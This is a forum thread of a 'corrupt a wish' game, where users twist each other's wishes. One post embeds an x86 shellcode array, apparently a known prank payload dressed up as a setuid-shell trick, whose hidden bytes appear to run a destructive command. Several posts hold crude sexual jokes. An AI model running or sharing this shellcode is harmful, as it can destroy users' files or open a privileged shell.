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masterkev

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  • January 2013
  • 35 Posts
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« November 18, 2013, 02:55:21 PM » #10489
You get said hot European chicks, but they're too hot. The chicks are literally on fire, and are screaming in agonizing pain in front of you.

I wish for a real-life console (To type kill, retry, disconnect, etc.)

Waabbit

  • April 2013
  • 147 Posts
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« November 28, 2013, 04:01:53 AM » #10523
You receive your real life console,  and spend a couple of days happily playing around with it, until somebody tells you to type the command
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

You carry out the command unknowingly and are suddenly placed in an ethereal dark space without the ability to interact with anything, including your own console. You're trapped indefinitely.

I wish for a new towel.

Ting :3

  • April 2013
  • 29 Posts
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« November 28, 2013, 06:23:00 PM » #10527
You receive a new towel! However it is new to YOU and previously belonged to this guy http://www.untoldentertainment.com/blog/img/2009_05_07/oldMan.jpg .

I wish Bing :3 would stop being Willdy's, Nija'd and multiple other peoples whore.  :)

Waabbit

  • April 2013
  • 147 Posts
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« November 29, 2013, 06:31:47 AM » #10532
I don't see how that's corrupted my wish... ;)

You get your wish, Bing is now ONLY my whore and nobody else's, including yourself. >:)

I wish for Bing, naked and covered in whipped cream.

Bing :3

  • April 2013
  • 271 Posts
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« November 29, 2013, 10:40:51 AM » #10533
WISH GRANTE - oh this isn't how this works?  :-\

The whipped cream has been out of date for 5 years, and to reach Bing, you have to eat it.

I wish for a job that only involved playing video games.

Ting :3

  • April 2013
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« November 29, 2013, 11:33:16 AM » #10534
Wish granted!
Someone invented a Nyan Cat game, the music is constant your job involves playing the game constantlyfor the rest of your life. You're paid but can't use the money as you have to play the game constantly.
(Fyi THE GAME)

I wish I had all the Shining Axes  :D

BmanAFC

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  • July 2013
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« December 04, 2013, 12:38:37 AM » #10591
You have all the shining axes, but they are shining so much they temporarily blind you and you accidentally click the brand new "mass delete button" and delete them all.

I wish the new relics weren't coming out xD

Art

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« December 16, 2014, 10:58:55 PM » #12555
Wish granted but all relics vanish.

I wish for a tail.

(Revival of a deaD GAME)

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